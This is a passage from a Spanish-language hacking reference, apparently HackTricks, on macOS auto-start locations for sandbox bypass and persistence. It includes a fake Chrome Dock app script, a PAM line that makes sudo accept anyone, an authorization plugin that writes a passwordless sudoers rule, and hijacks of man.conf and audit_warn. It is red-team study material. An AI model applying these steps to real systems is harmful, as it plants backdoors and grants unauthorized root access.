  2. Abre Folder Actions Setup.app para cargar esta configuración: open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"

Caution

Y esto no me funcionó, pero esas son las instrucciones del writeup:(

Atajos del Dock

Writeup: https://theevilbit.github.io/beyond/beyond_0027/

  • Útil para bypass sandbox:
  • Pero necesitas haber instalado una aplicación maliciosa en el sistema
  • TCC bypass: 🔴

Ubicación

  • ~/Library/Preferences/com.apple.dock.plist
  • Trigger: Cuando el usuario hace clic en la app dentro del dock

Descripción y Explotación

Todas las aplicaciones que aparecen en el Dock están especificadas dentro del plist: ~/Library/Preferences/com.apple.dock.plist

Es posible añadir una aplicación simplemente con:

# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'

# Restart Dock
killall Dock

Con algo de social engineering podrías impersonate for example Google Chrome en el dock y ejecutar realmente tu propio script:

#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock

Selectores de color

Writeup: https://theevilbit.github.io/beyond/beyond_0017

  • Útil para evadir el sandbox: 🟠
  • Se requiere que ocurra una acción muy específica
  • Terminarás en otro sandbox
  • Bypass de TCC: 🔴

Ubicación

  • /Library/ColorPickers
  • Se requiere root
  • Disparador: Usar el selector de color
  • ~/Library/ColorPickers
  • Disparador: Usar el selector de color

Descripción & Exploit

Compila un selector de color bundle con tu código (puedes usar this one for example) y añade un constructor (like in the Screen Saver section) y copia el bundle a ~/Library/ColorPickers.

Entonces, cuando se active el selector de color, tú también deberías estarlo.

Ten en cuenta que el binario que carga tu biblioteca tiene un sandbox muy restrictivo: /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64

[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))

Plugins de Finder Sync

Writeup: https://theevilbit.github.io/beyond/beyond_0026/
Writeup: https://objective-see.org/blog/blog_0x11.html

  • Útil para bypass del sandbox: No, porque necesitas ejecutar tu propia app
  • TCC bypass: ???

Ubicación

  • Una app específica

Descripción & Exploit

Un ejemplo de aplicación con una Finder Sync Extension can be found here.

Applications can have Finder Sync Extensions. Esta extensión irá dentro de una aplicación que será ejecutada. Además, para que la extensión pueda ejecutar su código must be signed con algún Apple developer certificate válido, debe estar sandboxed (aunque se podrían añadir excepciones relajadas) y debe registrarse con algo como:

pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync

Screen Saver

Writeup: https://theevilbit.github.io/beyond/beyond_0016/
Writeup: https://posts.specterops.io/saving-your-access-d562bf5bf90b

  • Útil para evadir sandbox: 🟠
  • Pero terminarás en un sandbox de aplicación común
  • TCC bypass: 🔴

Location

  • /System/Library/Screen Savers
  • Root required
  • Trigger: Select the screen saver
  • /Library/Screen Savers
  • Root required
  • Trigger: Select the screen saver
  • ~/Library/Screen Savers
  • Trigger: Select the screen saver

Description & Exploit

Crea un nuevo proyecto en Xcode y selecciona la plantilla para generar un nuevo Screen Saver. Luego, añade tu código al mismo, por ejemplo el siguiente código para generar registros.

Compílalo, y copia el bundle .saver a ~/Library/Screen Savers. Luego, abre la Screen Saver GUI y si haces clic en ella, debería generar muchos registros:

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'

Timestamp                       (process)[PID]
2023-09-27 22:55:39.622369+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]

Caution

Ten en cuenta que, dado que dentro de los entitlements del binario que carga este código (/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver) puedes encontrar com.apple.security.app-sandbox, estarás dentro del common application sandbox.

Código del saver:

//
//  ScreenSaverExampleView.m
//  ScreenSaverExample
//
//  Created by Carlos Polop on 27/9/23.
//

#import "ScreenSaverExampleView.h"

@implementation ScreenSaverExampleView

- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}

- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}

- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}

- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}

- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}

- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}

- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}

@end

Spotlight Plugins

writeup: https://theevilbit.github.io/beyond/beyond_0011/

  • Useful to bypass sandbox: 🟠
  • Pero terminarás en un application sandbox
  • TCC bypass: 🔴
  • El sandbox parece muy limitado

Ubicación

  • ~/Library/Spotlight/
  • Disparador: Se crea un archivo nuevo con una extensión gestionada por el plugin de Spotlight.
  • /Library/Spotlight/
  • Disparador: Se crea un archivo nuevo con una extensión gestionada por el plugin de Spotlight.
  • Requiere root
  • /System/Library/Spotlight/
  • Disparador: Se crea un archivo nuevo con una extensión gestionada por el plugin de Spotlight.
  • Requiere root
  • Some.app/Contents/Library/Spotlight/
  • Disparador: Se crea un archivo nuevo con una extensión gestionada por el plugin de Spotlight.
  • Requiere una nueva app

Descripción & Explotación

Spotlight es la función de búsqueda integrada de macOS, diseñada para ofrecer a los usuarios acceso rápido y completo a los datos en sus equipos.
Para facilitar esta capacidad de búsqueda rápida, Spotlight mantiene una base de datos propietaria y crea un índice al analizar la mayoría de los archivos, permitiendo búsquedas rápidas tanto por nombres de archivo como por su contenido.

El mecanismo subyacente de Spotlight implica un proceso central llamado ‘mds’, que significa ‘metadata server.’ Este proceso orquesta todo el servicio de Spotlight. Complementándolo, existen múltiples demonios ‘mdworker’ que realizan diversas tareas de mantenimiento, como indexar distintos tipos de archivos (ps -ef | grep mdworker). Estas tareas son posibles gracias a Spotlight importer plugins, o “.mdimporter bundles”, que permiten a Spotlight entender e indexar contenido a través de una amplia variedad de formatos de archivo.

Los plugins o bundles .mdimporter se encuentran en las ubicaciones mencionadas anteriormente y si aparece un nuevo bundle se carga en minutos (no es necesario reiniciar ningún servicio). Estos bundles deben indicar qué tipo de archivo y extensiones pueden manejar, de este modo Spotlight los usará cuando se cree un nuevo archivo con la extensión indicada.

Es posible encontrar todos los mdimporters cargados ejecutándose:

mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]

Y, por ejemplo, /Library/Spotlight/iBooksAuthor.mdimporter se usa para analizar este tipo de archivos (extensiones .iba y .book, entre otros):

plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist

[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]

Caution

Si revisas el Plist de otros mdimporter puede que no encuentres la entrada UTTypeConformsTo. Eso es porque es un Uniform Type Identifiers (UTI) integrado y no necesita especificar extensiones.

Además, los plugins por defecto del sistema siempre tienen preferencia, por lo que un atacante solo puede acceder a archivos que no estén indexados por los propios mdimporters de Apple.

To create your own importer you could start with this project: https://github.com/megrimm/pd-spotlight-importer and then change the name, the CFBundleDocumentTypes and add UTImportedTypeDeclarations so it supports the extension you would like to support and refelc them in schema.xml.
Then change the code of the function GetMetadataForFile to execute your payload when a file with the processed extension is created.

Finalmente compila y copia tu nuevo .mdimporter a una de las ubicaciones anteriores y puedes comprobar cuándo se carga monitorizando los logs o ejecutando mdimport -L.

Panel de Preferencias

Caution

Parece que esto ya no funciona.

Writeup: https://theevilbit.github.io/beyond/beyond_0009/

  • Útil para eludir el sandbox: 🟠
  • Requiere una acción específica del usuario
  • Bypass de TCC: 🔴

Location

  • /System/Library/PreferencePanes
  • /Library/PreferencePanes
  • ~/Library/PreferencePanes

Description

Parece que esto ya no funciona.

Bypass del sandbox como root

Tip

Aquí puedes encontrar ubicaciones de inicio útiles para sandbox bypass que te permiten ejecutar algo simplemente escribiéndolo en un archivo siendo root y/o requiriendo otras condiciones extrañas.

Periodic

Writeup: https://theevilbit.github.io/beyond/beyond_0019/

  • Útil para eludir el sandbox: 🟠
  • Pero necesitas ser root
  • Bypass de TCC: 🔴

Ubicación

  • /etc/periodic/daily, /etc/periodic/weekly, /etc/periodic/monthly, /usr/local/etc/periodic
  • Requiere root
  • Trigger: When the time comes
  • /etc/daily.local, /etc/weekly.local or /etc/monthly.local
  • Requiere root
  • Trigger: When the time comes

Descripción y Explotación

Los scripts en /etc/periodic se ejecutan debido a los launch daemons configurados en /System/Library/LaunchDaemons/com.apple.periodic*. Ten en cuenta que los scripts almacenados en /etc/periodic/ se ejecutan como el propietario del archivo, por lo que esto no funcionará para una posible escalada de privilegios.

# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r--  1 root  wheel  887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r--  1 root  wheel  895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r--  1 root  wheel  891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist

# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x  11 root  wheel  352 May 13 00:29 daily
drwxr-xr-x   5 root  wheel  160 May 13 00:29 monthly
drwxr-xr-x   3 root  wheel   96 May 13 00:29 weekly

/etc/periodic/daily:
total 72
-rwxr-xr-x  1 root  wheel  1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x  1 root  wheel   695 May 13 00:29 130.clean-msgs
[...]

/etc/periodic/monthly:
total 24
-rwxr-xr-x  1 root  wheel   888 May 13 00:29 199.rotate-fax
-rwxr-xr-x  1 root  wheel  1010 May 13 00:29 200.accounting
-rwxr-xr-x  1 root  wheel   606 May 13 00:29 999.local

/etc/periodic/weekly:
total 8
-rwxr-xr-x  1 root  wheel  620 May 13 00:29 999.local

Hay otros periodic scripts que se ejecutarán, indicados en /etc/defaults/periodic.conf:

grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local"				# Local scripts
weekly_local="/etc/weekly.local"			# Local scripts
monthly_local="/etc/monthly.local"			# Local scripts

Si logras escribir cualquiera de los archivos /etc/daily.local, /etc/weekly.local o /etc/monthly.local, se ejecutará tarde o temprano.

Warning

Ten en cuenta que el script periódico se ejecutará como el propietario del script. Por lo tanto, si un usuario normal es el propietario, se ejecutará como ese usuario (esto puede evitar ataques de escalada de privilegios).

PAM

Análisis: Linux Hacktricks PAM
Análisis: https://theevilbit.github.io/beyond/beyond_0005/

  • Útil para bypass de sandbox: 🟠
  • Pero necesitas ser root
  • TCC bypass: 🔴

Ubicación

  • Siempre se requiere root

Descripción & Explotación

Como PAM está más orientado a la persistencia y al malware que a la ejecución sencilla dentro de macOS, este blog no dará una explicación detallada; lee los writeups para entender mejor esta técnica.

Comprueba los módulos PAM con:

ls -l /etc/pam.d

Una persistence/privilege escalation technique abusing PAM es tan fácil como modificar el módulo /etc/pam.d/sudo añadiendo al principio la línea:

auth       sufficient     pam_permit.so

Entonces se verá algo así:

# sudo: auth account password session
auth       sufficient     pam_permit.so
auth       include        sudo_local
auth       sufficient     pam_smartcard.so
auth       required       pam_opendirectory.so
account    required       pam_permit.so
password   required       pam_deny.so
session    required       pam_permit.so

Por lo tanto, cualquier intento de usar sudo funcionará.

Caution

Tenga en cuenta que este directorio está protegido por TCC, por lo que es muy probable que el usuario reciba una ventana emergente solicitando acceso.

Otro buen ejemplo es su, donde se puede ver que también es posible pasar parámetros a los módulos PAM (y también podrías backdoor este archivo):

cat /etc/pam.d/su
# su: auth account session
auth       sufficient     pam_rootok.so
auth       required       pam_opendirectory.so
account    required       pam_group.so no_warn group=admin,wheel ruser root_only fail_safe
account    required       pam_opendirectory.so no_check_shell
password   required       pam_opendirectory.so
session    required       pam_launchd.so

Plugins de Autorización

Writeup: https://theevilbit.github.io/beyond/beyond_0028/
Writeup: https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65

  • Útil para eludir el sandbox: 🟠
  • Pero necesitas ser root y hacer configuraciones adicionales
  • TCC bypass: ???

Ubicación

  • /Library/Security/SecurityAgentPlugins/
  • Se requiere root
  • También es necesario configurar la base de datos de autorización para usar el plugin

Descripción y Explotación

Puedes crear un plugin de autorización que se ejecutará cuando un usuario inicie sesión para mantener la persistencia. Para más información sobre cómo crear uno de estos plugins consulta los writeups anteriores (y ten cuidado: uno mal escrito puede bloquearte y tendrás que limpiar tu Mac desde el modo de recuperación).

// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/

#import <Foundation/Foundation.h>

__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}

Move el bundle a la ubicación desde la que se cargará:

cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/

Finalmente añade la regla para cargar este Plugin:

cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF

security authorizationdb write com.asdf.asdf < /tmp/rule.plist

El evaluate-mechanisms le dirá al framework de autorización que necesitará invocar un mecanismo externo para la autorización. Además, privileged hará que se ejecute como root.

Actívalo con:

security authorize com.asdf.asdf

Además, el grupo staff debe tener acceso sudo (consulta /etc/sudoers para confirmarlo).

Man.conf

Writeup: https://theevilbit.github.io/beyond/beyond_0030/

  • Útil para bypass de sandbox: 🟠
  • Pero necesitas ser root y el usuario debe usar man
  • TCC bypass: 🔴

Location

  • /private/etc/man.conf
  • Requiere root
  • /private/etc/man.conf: Siempre que se use man

Descripción & Exploit

El archivo de configuración /private/etc/man.conf indica el binary/script a usar al abrir las páginas de documentación man. Por lo tanto, la ruta al ejecutable podría modificarse para que cada vez que el usuario use man para leer documentación se ejecute un backdoor.

For example set in /private/etc/man.conf:

MANPAGER /tmp/view

Y luego crea /tmp/view como:

#!/bin/zsh

touch /tmp/manconf

/usr/bin/less -s

Apache2

Writeup: https://theevilbit.github.io/beyond/beyond_0023/

  • Útil para bypass sandbox: 🟠
  • Pero necesitas ser root y apache debe estar ejecutándose
  • TCC bypass: 🔴
  • Httpd no tiene entitlements

Location

  • /etc/apache2/httpd.conf
  • Requiere root
  • Disparador: Cuando Apache2 se inicia

Descripción & Exploit

Puedes indicar en /etc/apache2/httpd.conf para cargar un módulo añadiendo una línea como:

LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"

De esta manera tu módulo compilado será cargado por Apache. Lo único es que o bien necesitas firmarlo con un certificado válido de Apple, o necesitas añadir un nuevo certificado de confianza en el sistema y firmarlo con él.

Luego, si es necesario, para asegurarte de que el servidor se inicie podrías ejecutar:

sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist

Ejemplo de código para la Dylb:

#include <stdio.h>
#include <syslog.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}

Marco de auditoría BSM

Writeup: https://theevilbit.github.io/beyond/beyond_0031/

  • Útil para bypass de sandbox: 🟠
  • Pero necesitas ser root, que auditd esté en ejecución y provocar una advertencia
  • TCC bypass: 🔴

Ubicación

  • /etc/security/audit_warn
  • Requiere root
  • Disparador: Cuando auditd detecta una advertencia

Descripción & Exploit

Siempre que auditd detecta una advertencia, el script /etc/security/audit_warn se ejecuta. Por lo tanto, podrías añadir tu payload en él.

echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn

Podrías forzar una advertencia con sudo audit -n.

Elementos de inicio

[!CAUTION] > Esto está obsoleto, por lo que no debería encontrarse nada en esos directorios.

El StartupItem es un directorio que debe situarse dentro de /Library/StartupItems/ o /System/Library/StartupItems/. Una vez creado este directorio, debe contener dos archivos específicos:

  1. Un rc script: un script de shell que se ejecuta al inicio.
  2. Un plist file, concretamente llamado StartupParameters.plist, que contiene varios ajustes de configuración.

Asegúrate de que tanto el rc script como el archivo StartupParameters.plist estén colocados correctamente dentro del directorio StartupItem para que el proceso de inicio los reconozca y utilice.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>

emond

Caution

No puedo encontrar este componente en mi macOS, así que para más información consulta el writeup

Writeup: https://theevilbit.github.io/beyond/beyond_0023/

Introduced by Apple, emond es un mecanismo de registro que parece estar poco desarrollado o posiblemente abandonado, pero sigue siendo accesible. Aunque no es particularmente útil para un administrador de Mac, este servicio oscuro podría servir como un método de persistencia sutil para actores de amenazas, probablemente desapercibido por la mayoría de los administradores de macOS.

Para quienes conocen su existencia, identificar cualquier uso malicioso de emond es sencillo. El LaunchDaemon del sistema para este servicio busca scripts para ejecutar en un único directorio. Para inspeccionarlo, se puede usar el siguiente comando:

ls -l /private/var/db/emondClients

XQuartz

Informe: https://theevilbit.github.io/beyond/beyond_0018/

Ubicación

  • /opt/X11/etc/X11/xinit/privileged_startx.d
  • Requiere root
  • Disparador: With XQuartz

Descripción & Exploit

XQuartz ya no está instalado en macOS, así que si quieres más información consulta el informe.

kext

Caution

Es tan complicado instalar kext incluso como root que no lo consideraré para escapar de sandboxes ni siquiera para persistence (a menos que tengas un exploit)

Ubicación

Para instalar un KEXT como elemento de inicio, debe estar instalado en una de las siguientes ubicaciones:

  • /System/Library/Extensions
  • KEXT files integrados en el sistema operativo OS X.
  • /Library/Extensions
  • KEXT files instalados por software de terceros

Puedes listar los kext cargados actualmente con:

kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle

Para más información sobre kernel extensions revisa esta sección.

amstoold

Writeup: https://theevilbit.github.io/beyond/beyond_0029/

Ubicación

  • /usr/local/bin/amstoold
  • Requiere root

Descripción & Exploitation

Aparentemente el plist de /System/Library/LaunchAgents/com.apple.amstoold.plist estaba usando este binary mientras exponía un XPC service… la cuestión es que el binary no existía, así que podías colocar algo ahí y cuando se llamara al XPC service tu binary sería ejecutado.

Ya no puedo encontrar esto en mi macOS.

xsanctl

Writeup: https://theevilbit.github.io/beyond/beyond_0015/

Ubicación

  • /Library/Preferences/Xsan/.xsanrc
  • Requiere root
  • Trigger: Cuando se ejecuta el servicio (rara vez)

Descripción & exploit

Aparentemente no es muy común ejecutar este script y ni siquiera pude encontrarlo en mi macOS, así que si quieres más info revisa el writeup.

/etc/rc.common

[!CAUTION] > Esto no funciona en versiones modernas de MacOS

También es posible colocar aquí comandos que se ejecutarán al inicio. Ejemplo de un script rc.common normal:

#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#

######################
# Configure the shell #
######################

#
# Be strict
#
#set -e
set -u

#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH

#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
#    TERM=$(tset - -Q); export TERM
#fi

###################
# Useful functions #
###################

#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test

if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}

alias ConsoleMessage=echo

#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local     pid=""

if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi

if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}

#
# Generic action handler
#
RunService ()
{
case $1 in
start  ) StartService   ;;
stop   ) StopService    ;;
restart) RestartService ;;
*      ) echo "$0: unknown argument: $1";;
esac
}

Técnicas y herramientas de Persistence

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks